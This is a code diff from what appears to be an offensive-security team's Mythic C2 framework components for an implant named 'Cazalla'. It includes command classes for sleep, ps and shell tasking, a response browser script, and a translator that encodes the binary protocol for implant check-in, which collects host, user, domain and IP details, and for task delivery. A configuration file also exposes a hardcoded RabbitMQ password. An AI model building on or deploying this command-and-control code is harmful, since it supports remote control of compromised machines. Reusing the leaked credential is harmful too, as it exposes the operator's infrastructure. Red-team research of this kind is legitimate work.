async def parse_arguments(self):
logging.info(f"parse_arguments : {self.command_line}")
if len(self.command_line) == 0:
raise ValueError("Must supply a command to run")
self.add_arg("command", self.command_line)
async def parse_dictionary(self, dictionary_arguments):
logging.info(f"parse_dictionary : {dictionary_arguments}")
seconds = dictionary_arguments.get("seconds")
jitter = dictionary_arguments.get("jitter", 0) # Default jitter to 0 if not in the dictionary
if seconds is None:
raise ValueError("The 'seconds' key is required in the dictionary.")
if not isinstance(seconds, int) or seconds < 0:
raise ValueError("The 'seconds' value must be a non-negative integer.")
# Explicitly map parsed dictionary values to parameters
self.add_arg("seconds", seconds)
self.add_arg("jitter", jitter)
class SleepCommand(CommandBase):
cmd = "sleep"
needs_admin = False
help_cmd = "sleep <segundos> [jitter]"
description = "Cambiar el sleep."
version = 1
author = "Kaseya OFSTeam"
attackmapping = ["T1029"]
argument_class = SleepArguments
attributes = CommandAttributes(
builtin=True,
supported_os=[ SupportedOS.Windows ],
suggested_command=False
)
# async def create_tasking(self, task: MythicTask) -> MythicTask:
# task.display_params = task.args.get_arg("command")
# return task
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
@@ -0,0 +1,71 @@
function(task, responses) {
console.log(task)
console.log("-------------------------------------------------------------------------------------------------------")
console.log(responses)
if (task.status.includes("error")) {
const combined = responses.reduce((prev, cur) => prev + cur, "");
return { 'plaintext': combined };
} else if (responses.length > 0) {
// Combine and split the responses into lines
const output = responses.reduce((prev, cur) => prev + cur, "").split("\n").filter(line => line.trim() !== "");
if (output.length === 0) {
return { 'plaintext': "No process information found." };
}
// Prepare the table structure
const formattedResponse = {
headers: [
{ plaintext: "Process Name", type: "string", fillWidth: true },
{ plaintext: "PPID", type: "number", width: 80 },
{ plaintext: "PID", type: "number", width: 80 },
{ plaintext: "Architecture", type: "string", width: 80 },
{ plaintext: "User Account", type: "string", fillWidth: true },
{ plaintext: "Session ID", type: "number", width: 80 }
],
title: "Process List",
rows: []
};
// Process each line to populate rows
output.forEach(line => {
const parts = line.split("\t");
// Ensure the array has up to 6 elements, filling missing parts with empty strings
while (parts.length < 6) {
parts.push("");
}
const [processName, ppid, pid, architecture, userAccount, sessionId] = parts;
// Add the row, ensuring missing fields are shown as empty cells
formattedResponse.rows.push({
"Process Name": {
plaintext: processName || "",
cellStyle: {}
},
"PPID": {
plaintext: ppid || "",
cellStyle: {}
},
"PID": {
plaintext: pid || "",
cellStyle: {}
},
"Architecture": {
plaintext: architecture || "",
cellStyle: {}
},
"User Account": {
plaintext: userAccount || "",
cellStyle: {}
},
"Session ID": {
plaintext: sessionId || "",
cellStyle: {}
}
});
});
return { table: [formattedResponse] };
} else {
return { 'plaintext': "No response yet from agent..." };
}
}
+10 -10
View File
@@ -1,11 +1,11 @@
#from mywebhook.webhook import *
import mythic_container
import asyncio
import cazalla
#import websocket.mythic.c2_functions.websocket
from translator.translator import *
#from my_logger import logger
#from basic_command_augment import *
#from basic_eventer.my_eventing import *
#from mywebhook.webhook import *
import mythic_container
import asyncio
import cazalla
#import websocket.mythic.c2_functions.websocket
from translator.translator import *
#from my_logger import logger
#from basic_command_augment import *
#from basic_eventer.my_eventing import *
mythic_container.mythic_service.start_and_run_forever()
+5 -5
View File
@@ -1,6 +1,6 @@
{
"rabbitmq_host": "127.0.0.1",
"rabbitmq_password": "PqR9XJ957sfHqcxj6FsBMj4p",
"mythic_server_host": "127.0.0.1",
"debug_level": "debug"
{
"rabbitmq_host": "127.0.0.1",
"rabbitmq_password": "PqR9XJ957sfHqcxj6FsBMj4p",
"mythic_server_host": "127.0.0.1",
"debug_level": "debug"
}
+8 -8
View File
@@ -1,9 +1,9 @@
aio-pika==9.0.4
dynaconf==3.1.11
ujson==5.7.0
aiohttp==3.8.3
psutil==5.9.4
grpcio
grpcio-tools
mythic-container
aio-pika==9.0.4
dynaconf==3.1.11
ujson==5.7.0
aiohttp==3.8.3
psutil==5.9.4
grpcio
grpcio-tools
mythic-container
pyaml
@@ -1,68 +1,76 @@
import json
commands = {
"get_tasking": {"hex_code": 0x00, "input_type": None},
"checkin": {"hex_code": 0xf1, "input_type": None},
"post_response": {"hex_code": 0x01, "input_type": None},
"shell": {"hex_code": 0x54, "input_type": "string"},
"exit": {"hex_code": 0x08, "input_type":None},
"sleep": {"hex_code":0x38, "input_type":"int"}
}
def responseTasking(tasks):
data = b""
dataTask = b""
dataHead = commands["get_tasking"]["hex_code"].to_bytes(1,"big") + len(tasks).to_bytes(4, "big")
for task in tasks:
command_to_run = task["command"]
if commands[command_to_run]["input_type"] == "string":
data = commands[command_to_run]["hex_code"].to_bytes(1, "big")
data += task["id"].encode()
if task["parameters"] != "":
parameters = json.loads(task["parameters"])
data += len(parameters).to_bytes(4,"big")
for param in parameters:
data += len(parameters[param]).to_bytes(4, "big")
data += parameters[param].encode()
else:
data += b"\x00\x00\x00\x00"
dataTask += len(data).to_bytes(4, "big") + data
elif commands[command_to_run]["input_type"] == "int":
data = commands[command_to_run]["hex_code"].to_bytes(1, "big")
data += task["id"].encode()
if task["parameters"] != "":
parameters = json.loads(task["parameters"])
data += len(parameters).to_bytes(4, "big")
for param in parameters:
data += (parameters[param]).to_bytes(4, "big") # Convertir el int correctamente
else:
data += b"\x00\x00\x00\x00"
dataTask += len(data).to_bytes(4, "big") + data
dataToSend = dataHead + dataTask
return dataToSend
def responseCheckin(uuid):
data = commands["checkin"]["hex_code"].to_bytes(1, "big") + uuid.encode() + b"\x01"
return data
def responsePosting(responses):
data = len(responses).to_bytes(4, "big")
for response in responses:
if response["status"] == "success":
data += b"\x01"
else:
data += b"\x00"
import json
commands = {
"get_tasking": {"hex_code": 0x00, "input_type": None},
"checkin": {"hex_code": 0xf1, "input_type": None},
"post_response": {"hex_code": 0x01, "input_type": None},
"shell": {"hex_code": 0x54, "input_type": "string"},
"exit": {"hex_code": 0x80, "input_type": None},
"sleep": {"hex_code": 0x38, "input_type": "int"},
"ps": {"hex_code": 0x15, "input_type": None}
}
def responseTasking(tasks):
data = b""
dataTask = b""
dataHead = commands["get_tasking"]["hex_code"].to_bytes(1, "big") + len(tasks).to_bytes(4, "big")
for task in tasks:
command_to_run = task["command"]
command_code = commands[command_to_run]["hex_code"].to_bytes(1, "big")
task_id = task["id"].encode()
task_id_bytes = task["id"].encode()
task_id_serialized = len(task_id_bytes).to_bytes(4, "big") + task_id_bytes
if commands[command_to_run]["input_type"] is None: # Comandos sin parámetros como "ps"
data = command_code + task_id_serialized
task_size = len(data)
dataTask += task_size.to_bytes(4, "big") + data
print("input_type: None")
print(dataTask)
elif commands[command_to_run]["input_type"] == "string":
data = command_code + task_id
if task["parameters"] != "":
parameters = json.loads(task["parameters"])
data += len(parameters).to_bytes(4,"big")
for param in parameters:
data += len(parameters[param]).to_bytes(4, "big")
data += parameters[param].encode()
else:
data += b"\x00\x00\x00\x00"
dataTask += len(data).to_bytes(4, "big") + data
elif commands[command_to_run]["input_type"] == "int":
data = command_code + task_id
if task["parameters"] != "":
parameters = json.loads(task["parameters"])
data += len(parameters).to_bytes(4, "big")
for param in parameters:
data += (parameters[param]).to_bytes(4, "big") # Convertir el int correctamente
else:
data += b"\x00\x00\x00\x00"
dataTask += len(data).to_bytes(4, "big") + data
dataToSend = dataHead + dataTask
print("estamos en el dataToSend\n")
print(dataToSend)
return dataToSend
def responseCheckin(uuid):
data = commands["checkin"]["hex_code"].to_bytes(1, "big") + uuid.encode() + b"\x01"
return data
def responsePosting(responses):
data = len(responses).to_bytes(4, "big")
for response in responses:
if response["status"] == "success":
data += b"\x01"
else:
data += b"\x00"
return data
@@ -1,96 +1,112 @@
from translator.utils import *
import ipaddress
def checkIn(data):
# Retrieve UUID
uuid = data[:36]
data = data[36:]
# Retrieve IPs
numIPs = int.from_bytes(data[0:4])
data = data[4:]
i = 0
IPs = []
while i < numIPs:
ip = data[:4]
data = data[4:]
addr = str(ipaddress.ip_address(ip))
IPs.append(addr)
i += 1
# Retrieve OS
targetOS, data = getBytesWithSize(data)
# Retrive Architecture
archOS = data[0]
if archOS == 0x64:
archOS = "x64"
elif archOS == 0x86:
archOS = "x86"
else:
archOS = ""
data = data[1:]
# Retrieve HostName
hostname, data = getBytesWithSize(data)
# Retrieve Username
username, data = getBytesWithSize(data)
# Retrieve Domaine
domain, data = getBytesWithSize(data)
# Retrieve PID
pid = int.from_bytes(data[0:4])
data = data[4:]
# Retrieve Process Name
processName, data = getBytesWithSize(data)
#Retrieve External IP
externalIP, data = getBytesWithSize(data)
dataJson = {
"action": "checkin",
"ips": IPs,
"os": targetOS.decode('cp850'),
"user": username.decode('cp850'),
"host": hostname.decode('cp850'),
"domain": domain.decode('UTF-16LE'),
"process_name":processName.decode('cp850'),
"pid": pid,
"uuid": uuid.decode('cp850'),
"architecture": archOS ,
"externalIP": externalIP.decode('cp850'),
}
return dataJson
def getTasking(data):
numTasks = int.from_bytes(data[0:4])
dataJson = { "action": "get_tasking", "tasking_size": numTasks }
return dataJson
def postResponse(data):
resTaks = []
uuidTask = data[:36]
data = data[36:]
output, data = getBytesWithSize(data)
jsonTask = {
"task_id": uuidTask.decode('cp850'),
"user_output":output.decode('cp850'),
}
jsonTask["completed"] = True
resTaks.append(jsonTask)
dataJson = {
"action": "post_response",
"responses": resTaks
}
return dataJson
from translator.utils import *
import ipaddress
import json
def checkIn(data):
# Retrieve UUID
uuid = data[:36]
data = data[36:]
# Retrieve IPs
numIPs = int.from_bytes(data[0:4])
data = data[4:]
i = 0
IPs = []
while i < numIPs:
ip = data[:4]
data = data[4:]
addr = str(ipaddress.ip_address(ip))
IPs.append(addr)
i += 1
# Retrieve OS
targetOS, data = getBytesWithSize(data)
# Retrive Architecture
archOS = data[0]
if archOS == 0x64:
archOS = "x64"
elif archOS == 0x86:
archOS = "x86"
else:
archOS = ""
data = data[1:]
# Retrieve HostName
hostname, data = getBytesWithSize(data)
# Retrieve Username
username, data = getBytesWithSize(data)
# Retrieve Domaine
domain, data = getBytesWithSize(data)
# Retrieve PID
pid = int.from_bytes(data[0:4])
data = data[4:]
# Retrieve Process Name
processName, data = getBytesWithSize(data)
#Retrieve External IP
externalIP, data = getBytesWithSize(data)
dataJson = {
"action": "checkin",
"ips": IPs,
"os": targetOS.decode('cp850'),
"user": username.decode('cp850'),
"host": hostname.decode('cp850'),
"domain": domain.decode('UTF-16LE'),
"process_name":processName.decode('cp850'),
"pid": pid,
"uuid": uuid.decode('cp850'),
"architecture": archOS ,
"externalIP": externalIP.decode('cp850'),
}
return dataJson
def getTasking(data):
numTasks = int.from_bytes(data[0:4])
dataJson = { "action": "get_tasking", "tasking_size": numTasks }
return dataJson
def postResponse(data):
print("Tamaño del Base64 recibido: {len(data)} bytes")
resTaks = []
uuidTask = data[:36]
data = data[36:]
output, data = getBytesWithSize(data)
print("Tamaño después de extraer UUID: {len(data)} bytes")
try:
decoded_output = output.decode('cp850')
except Exception as e:
print("Fallo al decodificar la salida: {e}")
decoded_output = "[ERROR DECODIFICANDO]"
jsonTask = {
"task_id": uuidTask.decode('cp850'),
"user_output": decoded_output,
}
jsonTask["completed"] = True
resTaks.append(jsonTask)
dataJson = {
"action": "post_response",
"responses": resTaks
}
print("Respuesta generada: {json.dumps(dataJson, indent=4)}")
return dataJson
##FALLA ESTA MIERDA, PORQUE PARECE QUE LO QUE SE ENVIA ES CORRECTO, HAY QUE REVISAR ESTO
+52 -52
View File
@@ -1,52 +1,52 @@
import json
import base64
import binascii
import os
from translator.utils import *
from translator.commands_from_c2 import *
from translator.commands_from_implant import *
from mythic_container.TranslationBase import *
class cazalla_translator(TranslationContainer):
name = "cazalla_translator"
description = "python translation service for the Kaseya C agent Cazalla"
author = "OFSTeam"
async def generate_keys(self, inputMsg: TrGenerateEncryptionKeysMessage) -> TrGenerateEncryptionKeysMessageResponse:
response = TrGenerateEncryptionKeysMessageResponse(Success=True)
response.DecryptionKey = b""
response.EncryptionKey = b""
return response
async def translate_to_c2_format(self, inputMsg: TrMythicC2ToCustomMessageFormatMessage) -> TrMythicC2ToCustomMessageFormatMessageResponse:
response = TrMythicC2ToCustomMessageFormatMessageResponse(Success=True)
print("C2 --> IMPLANT :" + json.dumps(inputMsg.Message))
if inputMsg.Message["action"] == "checkin":
print("Response CHECKIN")
response.Message = responseCheckin(inputMsg.Message["id"])
elif inputMsg.Message["action"] == "get_tasking":
print("Response TASKING")
response.Message = responseTasking(inputMsg.Message["tasks"])
elif inputMsg.Message["action"] == "post_response":
print("Response POSTREP")
response.Message = responsePosting(inputMsg.Message["responses"])
return response
async def translate_from_c2_format(self, inputMsg: TrCustomMessageToMythicC2FormatMessage) -> TrCustomMessageToMythicC2FormatMessageResponse:
response = TrCustomMessageToMythicC2FormatMessageResponse(Success=True)
print("IMPLANT --> C2 : " + binascii.hexlify(inputMsg.Message).decode('cp850'))
#response.Message = json.loads(inputMsg.Message)
data = inputMsg.Message
if data[0] == commands["checkin"]["hex_code"]:
print("CHECK IN")
response.Message = checkIn(data[1:])
elif data[0] == commands["get_tasking"]["hex_code"]: #GET_TASKING
print("GET TASKING")
response.Message = getTasking(data[1:])
elif data[0] == commands["post_response"]["hex_code"]: #POSTREPONSE
print("POST RESPONSE")
response.Message = postResponse(data[1:])
return response
import json
import base64
import binascii
import os
from translator.utils import *
from translator.commands_from_c2 import *
from translator.commands_from_implant import *
from mythic_container.TranslationBase import *
class cazalla_translator(TranslationContainer):
name = "cazalla_translator"
description = "python translation service for the Kaseya C agent Cazalla"
author = "OFSTeam"
async def generate_keys(self, inputMsg: TrGenerateEncryptionKeysMessage) -> TrGenerateEncryptionKeysMessageResponse:
response = TrGenerateEncryptionKeysMessageResponse(Success=True)
response.DecryptionKey = b""
response.EncryptionKey = b""
return response
async def translate_to_c2_format(self, inputMsg: TrMythicC2ToCustomMessageFormatMessage) -> TrMythicC2ToCustomMessageFormatMessageResponse:
response = TrMythicC2ToCustomMessageFormatMessageResponse(Success=True)
print("C2 --> IMPLANT :" + json.dumps(inputMsg.Message))
if inputMsg.Message["action"] == "checkin":
print("Response CHECKIN")
response.Message = responseCheckin(inputMsg.Message["id"])
elif inputMsg.Message["action"] == "get_tasking":
print("Response TASKING")
response.Message = responseTasking(inputMsg.Message["tasks"])
elif inputMsg.Message["action"] == "post_response":
print("Response POSTREP")
response.Message = responsePosting(inputMsg.Message["responses"])
return response
async def translate_from_c2_format(self, inputMsg: TrCustomMessageToMythicC2FormatMessage) -> TrCustomMessageToMythicC2FormatMessageResponse:
response = TrCustomMessageToMythicC2FormatMessageResponse(Success=True)
print("IMPLANT --> C2 : " + binascii.hexlify(inputMsg.Message).decode('cp850'))
#response.Message = json.loads(inputMsg.Message)
data = inputMsg.Message
if data[0] == commands["checkin"]["hex_code"]:
print("CHECK IN")
response.Message = checkIn(data[1:])
elif data[0] == commands["get_tasking"]["hex_code"]: #GET_TASKING
print("GET TASKING")
response.Message = getTasking(data[1:])
elif data[0] == commands["post_response"]["hex_code"]: #POSTREPONSE
print("POST RESPONSE")
response.Message = postResponse(data[1:])
return response
+6 -6
View File
@@ -1,7 +1,7 @@
import base64
import os
def getBytesWithSize(data):
size = int.from_bytes(data[0:4])
data = data[4:]
import base64
import os
def getBytesWithSize(data):
size = int.from_bytes(data[0:4])
data = data[4:]
return data[:size], data[size:]